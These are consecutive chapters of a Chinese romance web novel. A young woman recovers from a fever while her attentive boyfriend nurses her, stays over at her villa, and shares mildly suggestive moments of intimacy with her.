数不清第多少次因为身体难受被迫醒来时,虞千绾摸了摸自己的额头,基本已经确定自己发烧这事了,而且堪堪一夜的时间,她的鼻子就跟被水泥塞住了一样,闷着劲不透气,呼吸都变得艰难,喉咙也发干。 全方位的不适逼得虞千绾不得不起身,先去倒了杯温水喝下润润嗓,再翻找医药箱拿出温度计测了测体温,一上来就是三十八度六的高烧。 虞千绾意料之中地叹了口气,自觉从药板里抠出一粒退烧药配水吞下。 虞千绾发烧一般都不喜欢去医院打点滴,除非持续很久不退烧才会去医院,不然能靠着吃药挨过去就都自己挨。 但身体不舒服,免不得要和身边人哼唧几声。 她将电子温度计上显示的体温拍照发给了商恪景,再配个哭哭脸的表情包。 委屈巴巴倾诉:【我发烧了QAQ】 商恪景工作的时候消息难以及时回复,虞千绾发完消息一分钟见他还没回就知道他在忙没看到她的消息便没再等,自己朝保温杯里倒满温水带着回到了卧室放置在床头柜上方便后面想喝水的时候拿着就能喝,省得再下床。 她被发烧扰的觉没睡好,断断续续总醒,现下吃了药脑袋更有些晕沉,便想再回到被窝里再睡会儿。 虞千绾很快就睡着了,但期间估摸是退烧药起了作用,身体开始发汗,黏腻腻汗涔涔的不适,睡衣都因为汗液紧贴在肌肤上。 她因此又被惹醒几次,不舒服地拧着眉将脚探出被外,逐渐,身子也在被下半露半掩的。 而后大抵是烧的没那么高了,睡得慢慢踏实了些,没再总是醒来。 时间不知道过去多久,睡梦中的虞千绾忽然感觉有温热的触感轻轻拭过她的皮肤,带去那些恼人的黏稠。 来人动作很温柔很细致,温热从她的额头一点点下移,轻柔擦过她的面颊、脖颈、胳膊、小腿甚至是圆润的脚趾。 虞千绾怕痒,当男人轻握住她脚踝,弯曲的手指无意触到她脚掌时,她一个激灵缩脚,骤然从梦中惊醒。 屋内灰沉沉的一片,仅有床尾亮着盏小夜灯,但光线太弱,不足以让虞千绾看仔细,她只能看到有个人弯着腰站在床边。 还不待虞千绾多想,熟悉的声音就落入耳中,“是我,千绾,你身上流了太多汗,我给你擦擦。” 虞千绾这才反应过来刚刚的温热从何而来,原来是商恪景在用毛巾帮她擦汗。 心安了,她一歪头又倒回床上躺着,腿也老实放平尽量忍着痒意由他动作,“嗯……” 她发着烧又鼻塞得厉害,一出声满是鼻音,声线闷涩极了。 商恪景听得心疼,眉头微蹙,边继续给她擦着脚边问:“吃过退烧药了吗?” “嗯……” 虞千绾缓了缓,意识渐渐清明回了些理智,“现在几点了?你怎么回来了?” “十点多,请了个假,今天先不工作了。” 擦好最后一处,商恪景将毛巾放下,擦干净手后帮她掖了掖被子,“中午想吃什么?我现在跟阿姨说。” 虽然虞千绾自身不觉得发烧是个多大的问题,顶多难受个几天也就挨过去了,但商恪景直接请假回来照顾,有人重视着哄着免不得就娇气了许多,说起话来也哼哼唧唧的,“……不饿,想你抱抱我。” 商恪景听话地挨过去,俯身隔着被子紧紧抱住了虞千绾,脸颊微侧,唇瓣碰了碰她的额头。 还是要高于正常体温的,但没38.6那么高了。 商恪景胸膛压上来的那瞬,虞千绾昏涨的脑袋才突然反应过来一件事。 她没穿内衣…… 身上仅有单薄的一套睡衣。 不过有冬季厚实的被子遮挡,他不可能感觉到凸点。 但虞千绾自己知道这点,她便不好意思再和商恪景抱着了,赶忙就给他往外推了推,“……我发烧了,你还是别靠过来了,防止给你传染了。” “我身体好,传染不了。” 商恪景身体纹丝不动,仍旧弓着上身抱着她。 只想着在她生病不舒服的时候要更好的满足她的需求,不能因为传不传染的就放她一个人躺在这。 抱抱是她要的,不好再在这上面做文章,虞千绾便寻了个别的理由,“……我想喝水。” 这倒也不是假话,她流了不少汗,确实想要喝水。 “好,我去倒。” “杯子里有。”虞千绾朝着床头柜的方向抬了抬下颚。 保温杯的杯盖正好可以当做小水杯,商恪景拿着保温杯去到床尾,借助小夜灯的微光将水倒到杯盖里,浅尝了下温度适宜再拿回来喂给虞千绾喝。 虞千绾在这期间也赶忙将自己的身体全部裹在被子里,被顶被她直接扯到了下巴的位置,双手在被中紧紧揪着,防止被商恪景看到什么不该看的。 也就是在这瞬间,虞千绾忽然很能理解商恪景之前为什么一直不抱她跨坐在腿上,确实都很难掩饰…… 即便什么多余的反应都没有,只隔着衣物挨在一起也能感觉到。 商恪景不知道这些,也没那心思多想,只盼着她早些退烧,早些好起来。 虞千绾被商恪景半搂着腰背带着坐起来靠在他怀里,他另手举着杯盖喂到她唇边,举止轻到不能再轻,全是怜惜。 虞千绾却在这纯情的氛围中难自控地想着被中的旖旎。 喝完水后,商恪景将虞千绾又轻轻放回了床上,让她再睡。 但见他回来,她忽然就不困了。 也可能是因为退了些烧,人有了些精神。 商恪景便坐在她身边,陪她说说话,时不时的多喂她些水。 午饭点时,虞千绾依旧没什么胃口,但身体隐隐能感觉到饥饿感,她便慢吞吞地吃了些。 正好趁着商恪景去门口拿司机送来的饭菜的空隙,她赶忙去衣帽间拿了件内衣再去到洗手间里穿上。 商恪景见她从洗手间出来肯定不会起疑,只当她去上卫生间,但如果见她从衣帽间出来可能会觉察到猫腻。 饭后半小时,虞千绾体温又开始上升,但距离她上次吃退烧药还没到六小时,所以尚不能再吃退烧药,防止用药过度,只能先在脑门上贴了片退烧贴物理降温。历经半天的折腾,反复起烧又退烧,她精气神明显萎靡了下去,就连平日里最有神的眼睛都被消磨的没了神韵。 人也没精力再去顾及其他,大半身子都蜷缩在被里,就伸出只手同商恪景的手交握着,眼皮渐沉地又睡去,指间力度逐渐松下。 商恪景感受着指间上涨的热温,鼻息间发出声忧心的喟叹,两手都握着她的手,攥到唇边,轻轻亲了亲。 一整天的时间,虞千绾都没完全退烧,就算吃了退烧药也只能退到37度1、2的样子。 身上反反复复的发烫又退热发汗,她整张小脸都被磋磨得红扑扑的,秀眉总带着些难受的轻皱,时而干哑着嗓掺着浓浓的鼻音轻哼声说想喝水。 见她如此,商恪景晚上哪里能放心离开,便就留在了她家,每隔半小时给她测一次体温。 直到晚上九点多,虞千绾的体温终于回到了36.9。 虞千绾中午好歹还吃了些食物,晚上基本就没怎么吃,商恪景喂下去两勺子粥她就不肯吃了,说胃里有东西会想吐,实在吃不下去。 深夜十一点多,她睡饱了退烧了就开始感到饥肠辘辘,但身体还发着软,后背和胸前那片商恪景不方便擦拭的地方仍残留着黏腻腻的不舒服感。 虞千绾惺忪着眯开眼,扯了扯黏在身前的睡衣。 入眼的画面还和她那会儿被商恪景不小心碰到足底惊醒时一样,雾沉沉的,只有床尾昏黄的小夜灯漾开层层光晕。 只是没了那抹一眼就触及的身形。 他走了吗? 虞千绾心口不由得一空,但转瞬就被充实得满满的。 商恪景不仅没走,还睡在她旁边。 不过他有着分寸的没直接躺着睡,而是和衣而眠,且是坐靠着睡着。 他双手环胸,长腿上下交叠,背倚在床头,但脑袋没个支点,睡得微微低垂。 这个睡姿显然不会舒服,这么睡一夜明天醒来估计脖子会很酸。 虞千绾也心疼他,不由得伸手去触商恪景的胳膊,她弄不动他,只能喊醒他,让他自己躺下来睡。 但她的指尖才刚堪堪碰到他,他就忽然惊醒,身形跟着挨过来问询:“怎么了?哪难受?喝水吗?” 自己声音还含着半醒不醒的哑,理智都不知道有没有从梦中拔出就这么巴巴关心她…… 情意在虞千绾眉眼间尽数化开,心河也泛起波涛,但诉出的话却是轻若无声的,“……没难受,就想你躺下一起睡。” 商恪景一怔。 虞千绾曲着手肘撑在被面上,另手朝他颈后一勾,带着他一起躺在床上。 杳蒙中,虞千绾却无法忽略商恪景的注视,他的视线好似有温度,灼烫着她的皮肤。 即便什么都不做,但也是第一次和异性同床同枕,虞千绾还是有些羞的,她轻抿下唇,敛着视线不瞧他,手上动作却不停,很大方的将自己被子掀起一半,努力的往商恪景身上盖,盖到他肩膀的位置时,视线免不得向上,同他有一瞬的交视。 那团火像是烧到了她的眼睛,虞千绾急遽就想偏开,但商恪景没给她这个机会,他的虎口一下就卡在了她下巴和脖颈的相连处,虽是控着力度没使什么劲,但虞千绾也不怎的就像被定住。 眼前光线彻底消弭,被男人欺压而来的身形完全遮挡住。 意识到他想做什么,虞千绾掌心骤抬,捂住了他的唇,“别——” 她仿佛被他烫化,声音也逐渐低下去,“……发烧了,这样真的会传染的。” 虞千绾这下是真的担心他。 商恪景也是真的想吻她,缓缓拉下了她的掌心,转而握住她的纤指,唇瓣缱绻地吻了吻,顺着向上流连,吻过她的手背、腕骨,再突然急转,贴上她的唇,含混中依旧是那个理由,“你男朋友身体好,不会轻易病倒的。” 不过顾及着她身子,商恪景没吻太久,只吻了十来秒就松开了她。 额头相抵,他呼吸粗重了些说:“不烧了。” 虞千绾心乱如麻,一时间不知道他是通过额温得出的结论还是刚刚的舌吻…… 商恪景克制着问:“饿吗?我去给你热些吃的。” 虞千绾摇了摇头,双手抱在他身际,她现在最大的需求是他,不想他离开自己身边。 “还能睡着觉吗?” 本来是睡不着的,但嗅着他的气息,虞千绾脑袋好像又有些迷糊了。而且她如果不睡的话,他肯定也陪着她不睡,但这个点他定然是困了的。 她朝他怀里依偎得更深,脑袋缓缓点了点。 商恪景长指穿插在她乌黑的发丝间抚了抚她的后脑勺,顺着应,“好,那我脱个衣服再和你一起睡。” 他身上还穿着外衣,她一身单薄睡衣贴靠上来会被外衣表层冰着。 虞千绾眨了眨眼,松开了搂在他身上的双手。 这次她没出声也没点头,就默默瞧着他。 虽然是她先提出的,但在床上在黑夜听到脱衣服这种字眼,免不得还是会有些羞赧不自然的。 商恪景动作很快,他身上只有一件外衣,脱去放到床尾凳上后便主动回到被窝里揽住虞千绾。 虞千绾这才意识到他应是在她睡觉的时候洗过澡换过衣服的,他穿的也是一身睡衣,但在她身边守着睡的时候没被子,所以在外面又裹了件外衣。 澡应该是在她家洗的,身上是她的沐浴露味道…… 和她一样的香味,但细嗅还有些不太一样的只属于他的体香,是一种很让她感到心定的气味。 虞千绾不由得将脸在他胸口埋得更深,不太透气的鼻子闻起来很费劲,所以她要很努力地嗅他。 嗅嗅胸膛,再微微仰首,凑到他脖颈间嗅一嗅。 商恪景搭放在虞千绾颈后的手稍一用力,将人儿拉开了一小截距离带到了枕头上让她老实躺好。 虞千绾费解,身形跟着还想挨过来,但商恪景手劲控着她后颈,她过不来,当即用那双恢复了些神韵的漆瞳静静望着他,嘴巴也轻轻撇着,像是无声的指责。 商恪景指腹有一搭没一搭摩挲着她颈后的细腻肌肤,无奈含笑,“宝宝,你男朋友身体也没那么好,现在再去洗个冷水澡怕是真要病倒了。” 听懂意思,虞千绾眼神瞬时清澈了很多,也乖巧配合着保持了这姿势几分钟,但很快她就又忍不住朝他挨近。 小声咕哝:“……你控制好自己,我只是想抱抱你,单纯的抱抱。” 商恪景无可奈何,唇角扯出声笑,纵容地把她揽到怀里,下颚抵在她发顶蹭了蹭,“好……” “但别再动了,就这么乖乖抱着。” “嗯!” 虞千绾心满意足窝到他怀里,分外听话,一动不动,结果才半分钟的功夫他就…… 虞千绾羞臊无措,但还是很想黏着他,直到持续着一个姿势太久半边身子都要僵硬了,她保持不住不动了,也被顶的不太舒服了。 这才翻了个身,没再抱着他。 商恪景原本单手环在她腰后,她一翻身,自然就落到了她腹前。 说不出的感觉,分明他的手也没动也没干什么,但隔着薄薄一层衣料放置在此,她总觉自己的肚子痒痒的。 虞千绾酝酿须臾,被窝里的手微动,握住了他的手,想将他的手稍微往上放一放。 商恪景却误解了她的意思,一直没动的身形忽然覆了上来,紧紧贴着她的背脊,就连长腿都抵入她膝弯后顺着她腿的弯曲弧度,似乎想和她完全契合着。 “不抱就算了,搂也不给搂了?” 他齿尖轻咬住她的耳骨轻磨,似怨似叹,“是你先让我过来的,现在又不要我了。” “……我没。” 虞千绾被他弄得痒,不自觉缩了缩颈,他跟着继续覆上来,不肯轻易放过她。 “你少诬陷我。”她轻声咕哝:“刚刚也是……分明是你自己忍不住想耍流氓,还事先警告我,我根本都没动你就——” 后面的话,她说不出口,索性默了声,只忿忿抓着商恪景的手放在嘴前咬了口。 “嗯,你是没动,怪我,我的心在动。” 很犯规的话,虞千绾一时间哑了声,既觉他现在愈发油嘴滑舌又切实爱听他的情话。 最终,她只扭头娇嗔了他一眼。 商恪景就紧紧挨在她身后,虞千绾感觉自己的臀肉都被他压得微微下陷。 她很难为情,但又不敢乱动,怕他更难受。 只小小声说他:“……抱可以,你平躺着睡,这样总硌我。” “宝宝你好为难我,平躺着睡还怎么抱你?” “可这样我睡不着……” 虞千绾羞得半张脸都低到了被中。 商恪景腰腹朝后退了退,长指却在她的腹前揉捏了两下,像在纡解什么,又像在换个法子占她便宜,开口的声音裹着的喘息声也略沉,“这样?” 虞千绾几乎要抬不起头,闷闷从鼻腔里哼出声气音的“……嗯。” 他们谁都没有再说话,也没有任何动作。 寂静之中,虞千绾的肚子突兀地叫了声,她捂着肚子没吭声,忍了五六分钟,肚子又发出一声叫。 她既窘迫又饿地转回了头,正对上商恪景半睁的眼,不知是一直没睡还是被她肚子的动静扰醒。 她一脸无辜地挨回来,抱住商恪景胳膊晃了晃撒娇,“我饿了……” “恪景。”她仰头亲了亲他下颚示好。 商恪景彻底没辙了,发出声无奈至极的笑,单臂抬起挡在眼前,越想越没招,越想越想笑。 事态到底怎么会发展成这样。 最后还能怎么办呢,自己女朋友只能自己惯着。 商恪景翻身狠狠捧住虞千绾脸颊在她唇上落下重重一吮,然后任劳任怨地掀开被子起身裹上外衣去给她热饭吃。 虞千绾没耐住闷笑,但视线掠过他睡裤前挡不住的隆起,又有些羞地偏开脸。 第82章 第 82 章 “你今晚该不会还要住我…… 因为生病, 商恪景在虞千绾家里住了三晚。 不过第二晚和第三晚他都是自觉住在侧卧的,但也没那么自觉,只是虞千绾没再像第一晚那样主动拉他进自己被窝,他也不好自顾自睡在主卧。 而且虞千绾情况也好了许多, 起烧次数没那么频繁了, 不需要时刻守在边上。 真半夜临时有什么事, 她给他发消息他也能立刻从侧卧过来。 他没有任何再留在主卧的理由。 第三日的时候, 虞千绾基本就已经好得差不多了。 除了晨起还有些低烧外余下大半天的时间都没再起过烧, 精神逐渐恢复,也有胃口吃东西了。 不过早上毕竟还是有些不舒服的, 所以商恪景当晚依旧留在她家里住也还算正常, 尚不显刻意或私心。 可第四日,虞千绾已然完全恢复好了, 就早晚还有些轻度鼻塞,不是什么大问题。 结果这天晚上, 商恪景依旧没有要走的意思。 下班后, 他照旧径直来到虞千绾家。 别墅里有恒温系统,所以室内穿身单薄的长袖长裤即可,商恪景一身西装进了入户门后自然感到热,抬指就去解西装扣, 脱掉西装外套担在臂弯间。下颚微仰, 食指勾住领带松了松。 乘着电梯到达三楼,他率先去了主卧的起居室里看虞千绾。 生病几天,虞千绾基本都没忙过工作, 幸而工作性质特殊,她有之前剪辑好的库存视频可以直接发,并没有耽误到账号的正常营业。 但刘助理那边会在嘉澍旗下各大知名品牌有新动态的时候第一时间同步给虞千绾, 包括但不限于新品上线、线下活动等,某些重要的虞千绾必须得加入宣发制作相关视频,旁的则是看她自己有没有做的兴趣。最近很不凑巧,好几家公司都有不小的宣发计划,虽然不会全都要虞千绾加入,但虞千绾也得从中做出筛选。 密密麻麻的一堆,看着就让人心生焦虑。 如若只是虞千绾一个人的事,她并不会有如此的情绪,但还有好几个宣发团队在等她的消息,她不由得就想尽快弄好,不协商好定下来总是不安心,病一好转便在忙。 商恪景进来时她都没空多和他腻歪,只掀眸瞧了他眼道句“回来了”就又移回了电脑上。 “嗯。” 商恪景应了声,走近虞千绾,俯身摸了摸她的额头,很正常的温度,“今天没再不舒服了吧?” “没有,很健康,你已经在微信问了我好多遍了。” 虞千绾笑揶他,“操心的老父亲。” “这不是看你才退烧就一直忙工作怕你又给自己累着了吗,从昨天下午就在忙,晚上回来还在忙。嘴上跟我说有休息,我看你压根没休息。” 商恪景将西服外套担在衣架上,挽了挽衣袖站在沙发后贤惠给虞千绾捏着肩膀。 他们虽然大半天没见,但她今天基本没怎么主动给他发消息,回他消息的速度也很慢,商恪景一猜就知道她在家忙了大半天的工作没怎么休息,全然不像昨天说的那样只是带着做一点。 这事如若发生在自己身上,商恪景压根不会多在意,发着高烧工作也没什么,忍忍就过去了,但对象换成虞千绾,他很难不操心。 爱一个人总是这样,任何一点让其不适的事都会无限放大担忧。 因为确实忙了很久工作,肩背都有些僵硬,商恪景轻柔的力度按上来时,虞千绾不禁发出声舒服的感叹声,腾出只手摸了摸左肩上商恪景的手背,摩挲了几下刻意微扬语调,“啊,谁有这么好的男朋友哇,原来是我呀!命真好。” 商恪景明知道她是故意这么说在哄他,但唇角还是翘了翘,很快又被他强制压下,不过仍可见若有似无的弧度。 他一开口就忍不住地念叨她,“少跟我说这些虚话,自己的身体自己也不知道注意?不是说不让你工作,但你昨天才退烧今天就持续工作这么久,还在月经期,身体还没完全养好呢就这么造?晚饭也没按时吃吧?” 因为生病且她发烧头两天睡多了这两天醒得早,商恪景便让虞千绾晚饭别等他回来一起吃,自己准点吃。 昨天她照做了,今天显然没有,他回来时看到了,司机送来的饭盒还连着袋子放在餐桌上,餐袋口系得好好的,她估计连楼都没下。 虞千绾心虚扭头讪讪朝商恪景一笑,“很快就好了嘛,这次是真的快了!一个小时左右肯定做完。而且我下午多吃了一顿,现在不饿的。” 商恪景刚欲说什么,视线滑过沙发上一双光洁的小脚,鼻息间发出声略沉的叹,唇角彻底没了上扬的趋势,甚至有些严肃地凝她,“袜子也不穿,这几天是谁嚷着说痛经的?” 虞千绾更心虚了,忙不迭扯过毯子盖好脚,“……一直盖着的,不知道什么时候怎么就——” 商恪景眼睫下压,眸光愈发凶人,虞千绾渐渐噤了声不再找借口。 商恪景弯腰,长指从毯子边缘探入,直接触到虞千绾脚面,冰凉一片,显然露在毯子外冻了好一会儿了,月经期这么受冻不痛经才怪。 唇线一抿,他刚要扭头发作,两片温热软腻的唇瓣就这么冷不丁贴到了他面颊。 商恪景没动,只侧目睐她。 虞千绾又凑上来连连亲了几下,眉毛轻折着央他,“别生气嘛~我知道你关心我,可我是个病患,已经很可怜了,别再跟病患计较了。” “现在知道自己是病患了?” 自知理亏的虞千绾不说话,又是一下亲到他脸上。 她努唇用力亲他,发出了“mua”的一声。 因为生病,他们这几天没怎么接吻。 倒不是商恪景怕传染,只是怕她不舒服,所以这几天大多情况下商恪景都只亲亲她的额头脸颊或手指。 眼下见她精气神十足的在他脸上落下“mua”的一枚吻,商恪景不虞的面色瞬时就好了些,分明脸还是那张脸,但就是觉得面部线条柔和了许多,像是冷冻的冰河水忽然迎春融开一汪春水。 见他吃这套,虞千绾又亲了他一下。 这次,她瞄准的是唇。 商恪景没再给她退开的机会,压实的唇刚有一线回弹感,他骨节分明的长指就扣到了虞千绾脑后,将她脑袋压过来的同时自身也更紧密地迎上去。 舌尖随即就裹住她的,又吮又磨,发出比她刚刚的“mua”还大的水渍音。 交往这些日子,虞千绾自然不会像之前那般多亲一会儿就面红耳赤的,但她尚无法适应商恪景弄出这样的动静,他显然是故意的,色靡极了。 眼睛也不闭,蛊人的桃花眼就半眯着持续望住她,浓密的黑睫在眼下覆落淡淡的阴影,缓而慢扇动的眼睫不知怎的就多添了几抹欲气。 虞千绾起初不知,陷在吻中逐渐意乱情迷,眉眼都染着春色,可眼睑无意睁开一线的时候毫不设防地撞入了他那双丝毫不掩情愫的眸,她心跳一下就快了,欲盖弥彰地赶忙闭上眼,但又忍不住想他到底还有没有在看自己,犹豫着等待着还想再偷偷窥伺一下。 她舌头都被他勾出来含在他口中了,这样的模样被他持续看着实在太羞耻,她也不好意思被他看着沉浸在情欲里,于是憋了一分钟忍不住又睁眼,再撞入他的越发浓稠越发欲念横生的眼眸…… 羞臊得厉害,招架不住的虞千绾彻底缩回了舌,换来的却是又一番被他勾缠去的争斗,比刚刚还要激烈。 她不敢再缩,怕他还能更放浪,知道他一直在看她,她也不好意思再睁开眼,一动不动由着他,就是粉泽不可控地自耳畔蔓延到颈间,且色泽在逐渐加深。 到底,商恪景还是顾及着她病没好透,见她老实后没折腾太久就放开了她。 时间虽然没有太长,但劲实在不轻,一下一下地裹着吮。 被这么狠狠亲了一番,吻停时虞千绾脑袋还有些懵懵的,泛麻的舌尖在空气里滞留了几秒钟才骤然知羞地缩回。 商恪景轻笑声,虞千绾含羞带嗔剜他眼,单手握拳在他胸口就锤了下,被占了便宜后理直气壮怪他,“现在好了,本来一个小时就可以完成的工作,又要往后拖延了。” “这是在帮你休息,一直看着电脑对眼睛不好,也看看你男朋友。” 商恪景揉了揉她脑袋,脸皮很厚地这么回她。 虽然知道他在开玩笑,但虞千绾还是没绷住发笑,有被他自恋到。 嘴上下意识回怼他,“看你才对眼睛不好呢。” “嗯?” 商恪景声线瞬时低了几个度,声音几乎是从他鼻腔里闷出的,手跟着就掐住了虞千绾的后脖颈。 “错了错了。” 虞千绾很没骨气地缩着颈,一秒含笑认错,“我什么都没说。” 商恪景挨过去,在虞千绾脸上狠狠亲了一下,齿间似笑似叹的发出这么一声,“没良心的。” 不再耽误她工作,让她能早些休息,商恪景深吸口气摁下心里的躁动,拇指指腹在她颈后软肉来回摩挲了几下才松开了手,“你忙吧,忙完一起吃饭。” “好……” 刚结束一场旖旎,虞千绾很难再像一开始那般全心投入工作中,注意力免不得有些偏移,但不能再和商恪景闹下去了,他们一贯是在一起待多久都不会腻的,越待越黏糊。 虞千绾刚重新将电脑放在腿上,身后就传来商恪景的脚步声,转首顺着他身影一瞧,他进了她的衣帽间。 不多时,商恪景拿着一双袜子出来了。 行至沙发边坐下,掀开毯子露出她双脚,挨个穿好袜子再严实裹好毯子。 虞千绾笑吟吟看着他的动作,顿时斗志满满,腰板都坐直了,“我好好工作,早点忙完和你过二人世界!” “不急,我也有工作,洗个澡换身衣服回来和你一起忙。” 虞千绾尚未反应过来,露齿粲然一笑,“好。” 在这住了几天,侧卧里已经有商恪景更换的衣物了。 他回到侧卧洗完澡换了身睡衣,拿着电脑和文件回到主卧起居室和虞千绾待在同一空间内。 先将物什放在矮桌上,再将虞千绾的双脚放到自己腹前暖乎捂着,而后再拿起文件翻看。 双脚只隔着薄薄的一层衣料和袜子就可以碰到他的腹肌,诱惑力委实有些大,虞千绾偷瞧他眼,很难不干点什么,她忍了又忍,还是没忍住使点小动作,拇指微蜷在他腹前蹭了蹭感受他的腹肌轮廓。 “老实些。” 商恪景头都没抬,反倒是抬了手,隔着毯子在她脚背轻拍了下,“再乱动就别怪我做些别的事扰了你的工作时间了。” 没半点开玩笑的意思,虞千绾瞬间老实。 视线回正去看电脑屏幕。 她舌根还麻着呢……再干不了他口中的“别的事”了。 渐渐,两人都进到工作状态,不交一言,但时而响起的键盘声和翻动书页的声已是最好的陪伴。 就快要完成工作时,虞千绾脑袋正飞速旋转着,一道掠过商恪景的余光却让她冷不丁反应过来什么。 虞千绾倏地抬头,定睛看了商恪景几秒。 他怎么又在她家洗澡了?睡衣都换好了。他今晚还不打算回去? 工作尚没完成,虞千绾欲言又止,压了压,继续将注意力放到工作上,完成工作再说旁的。 将最终名单发送给刘助理,敲下回车键的那刻。 虞千绾掩在毯下的脚又动了动,很是明目张胆抵了抵商恪景腹肌,“男朋友,你今晚该不会还要住我这吧?” 深知这个话题可以完全拿捏商恪景,虞千绾开口时很有底气,掷地有声的。 商恪景翻页的动作一顿,装傻,“嗯?什么?” 第83章 第 83 章 在床上非常合拍 “什么你自己心里清楚。” 虞千绾脚下稍稍用力, 在商恪景腹肌上踩了踩。 这会儿的商恪景分外老实,由着虞千绾乱动也不阻她,甚至都没有看向她,生怕眼神一对上, 她就要直白说出后续了。 虞千绾情绪不明地轻哼了声, 双脚连带着毯子一起从他腹前离开, 缩回自己身前曲放着。 商恪景是想抓住虞千绾脚踝不让她的脚离开自己身上的, 但他手上还有文件, 一时间没腾出空。 这事商恪景本身就理亏,现下连最后一点让他感到心安的肢体接触都没了, 她似乎还有些不高兴, 他不得不侧过头望向虞千绾直面这个话题。 看到虞千绾面容的那刻,商恪景才发现她的表情压根不像她的语调那般, 她不仅没有不悦,唇反倒噙着笑, 眸中烁闪着戏谑。 悬着的心瞬间落了定, 商恪景不禁低头轻笑声,顺手就把文件丢在了矮桌上,掌心在沙发面上一撑,身形跟着向虞千绾的位置压近, “故意逗我想看笑话呢?” 他这副姿态, 这个眼神,虞千绾太熟悉。 但他刚刚的吻吮吸得太激烈,她尚没缓过来, 不想这么快再来一次。 动作比脑子快,她靠近商恪景的右脚赶忙抬起,踩在了他肩上, 试图抵住他的靠近,“诶——” 但虞千绾的力气哪里敌得过商恪景,反而因为这个动作,他俯身压过来的时候,她上身控制不住地后仰。 虞千绾连忙抱住了沙发靠背稳着身形,快声道:“商恪景!能不能留在我家看你表现,你这个表现我很不满意。” 这个话题算是捏死了商恪景。 他顿时就不再向前了,但也不后退,就保持着原貌,且长指箍住了虞千绾的脚踝,让她的脚就踩着他的肩。 就着这个姿势,虞千绾视线很轻易就扫过商恪景精壮的胸膛。 睡衣以舒适为主,本身就较为宽松,领口也不会很高,他又没系最上面那粒扣子,上身一俯,很轻易就被人自领口到腰腹看了大半。 凸出的那两点粉粉的,在一片偏白的肤色中很是惹眼。 虞千绾委实无心窥伺,但眼神意外瞥见就很难瞬间偏开。 她偶尔会在网上刷到擦边男的视频,这类男人要么不穿上衣,要么穿的一个比一个透,抑或把衣服下摆拢到腰部的位置,不过虞千绾对这类视频没太多兴趣,可能是因为知道对方明摆着在擦边,而且隔着屏幕顶多就十来秒,没太多沉浸感。 但她遭不住商恪景这种,他无意走光她也无意偷看,但就是猝然展露在她眼前了,不经意的才最乱人心,何况她本身就喜欢商恪景的身材……配上粉嫩更显诱人了。 虞千绾已经很极力控制着自己移开视线了,她盯他大敞的领口时间绝对不超过五秒,但还是被商恪景发现了。 他自己也低头看了看,脑袋微歪趣狭瞧着虞千绾,“那这个表现,宝宝满意吗?我晚上可以留下来了吗?” 商恪景不仅洗了澡还洗了头,虽然头发被他吹过,但只是吹了个半干不往下滴水,还能看出湿润。 碎发垂在额前,零星有些挡住了他的眼前,他的视线被分割,却不知怎的显得更性感了,还有几分乖戾。 虞千绾莫名有些口干舌燥,嘴硬地咕哝了声:“……又不是我自己要看的。而且我看也是应该的!我可是你女朋友,你还想跟我谈条件?” “嗯,是我心甘情愿,我的身体,女朋友随意就好。那女朋友家,男朋友能不能也住着?” 不知道是不是因为交往的时间越来越久,商恪景以前说这些绝对会耳朵红的,现在说这些倒是显得面不红心不跳。 虞千绾刻意观察了下他的耳尖,没瞧见自己意料中的红晕,她略显不满,脚下用了些力将商恪景推远,“干嘛?难不成你起初来我家住不是因为出于对我发烧的关心,只是趁机寻个由头赖这?” “没有。” 虞千绾瞧他,满脸不信。 “好吧,我承认,之前是有一点。” 还不待商恪景将话说完,虞千绾五官瞬时就皱了起来,另只脚也抬起去踩他胸膛,铆足劲将他往后推,像只突然暴躁的猫。 “你听我说,不是你想的那样。” 商恪景失笑,一手握着她脚踝一手撑在沙发面上尽量将身体稳在一个不往后跌也不压着她的平衡上,“我之前确实有想过找个由头住你这,但不是你发烧的这几天,是过完年刚搬过来的那阵。” “在学校附近住惯了,习惯一推开门就是你家,别墅区太大,总觉得要多走好久才能见到你。” 听到这番解释,虞千绾才微微松了些劲,没再满脸不悦地瞪他了,因为她住在别墅后也有这种感觉,在这里,光是从卧室下楼再踏出门的功夫都比在校外小区到商恪景家费时。 但没办法,别墅区容积率低,两两别墅之间都不近,而且他们俩的别墅也不是挨着的,中间还隔着几套别墅,所以离得要更远。 “不过毕竟还只是在恋爱期,我也不好贸然提同居,虽然我只是想住在侧卧,但这种话一说出来很容易显得我心思不纯。” 说到这,商恪景话语略顿,刚欲继续,虞千绾就觑他眼,“说的跟你一点心思都没有似的。” 商恪景闷笑,“所以啊,我就一直按捺着没提。但现在,体验过离得近的滋味,就不想再走了。” “还请女朋友大人让我留下,我保证晚上老实回侧卧,您每天都可以尽情使唤我,只要我在,不让您多走一步。” 虞千绾本身也不排斥商恪景住这,她只是原先想当然的以为她病好了商恪景就要回自己家住,但见他想留下后她也没旁的心思,还挺开心的,就是单纯不想看他装傻不想让他就这么稀里糊涂的持续住在她家,想听他亲口说想和自己待在一块罢了。 而且别墅很大,她一个主卧的占地面积比校外整个套房都要大,商恪景住在侧卧的话,他们之间的距离也就跟住在校外差不多。 不过面上,虞千绾不想那么轻易就应下,总还有些女孩子的矜持,但不多。 她下颚微扬,“我饿了,你去餐桌上把晚饭拿上来,我要在这吃。” “遵命。” 商恪景将她的脚放回沙发上,重新裹好毯子就径直出了起居室去给她拿晚饭,用实际动作向她证明他在的好处。 看她吃饭,商恪景便也跟着一起吃了,吃完再忙余下的工作。 虞千绾没再提他晚上住哪的事,商恪景知道,这是默认允可他住这了,只不过要面子的没直说,他也不戳破,就抿着笑思量着可以把他的物什带过来一点点充实侧卧了。 商恪景手长脚长的,并不习惯像虞千绾般窝在沙发里忙工作,他吃完饭便进了主卧书房正儿八经坐着工作,如此也能早些忙完。 虞千绾结束了工作,正处在休闲时光,便陪着商恪景去了书房。他工作,她换个地方躺着玩手机。 只半个多小时,商恪景就忙完了。 他这些天工作不多,得益于商知珩放他一马。 因为那日乍然收到虞千绾说发烧的消息,他第一时间就去找哥哥请假了。商知珩因此知道了虞千绾发烧的事,想着虞千绾发烧商恪景得多陪着,便没再让助理给商恪景安排额外的工作,培养也不急于一时,暂时先让他做正常量的,商恪景这才能轻松些。 虞千绾正窝在单人沙发里刷账号的评论,忽然就被商恪景分别揽着后腰和膝弯抱起。 地面铺着地毯,几乎把他的脚步声都吞没了。 虞千绾浑没觉察到商恪景的靠近,一惊连忙环抱住他的颈,“吓我一跳。” 书房里有长沙发,但商恪景仍旧抱着虞千绾坐在了单人沙发上,他喜欢这种和她在窄小空间里依偎的感觉,“我都在你旁边站半分钟了你都没发现我,偷看别的男人呢?看这么入神。” 他既然在她身边站了半分钟还能不知道她手机里是什么? 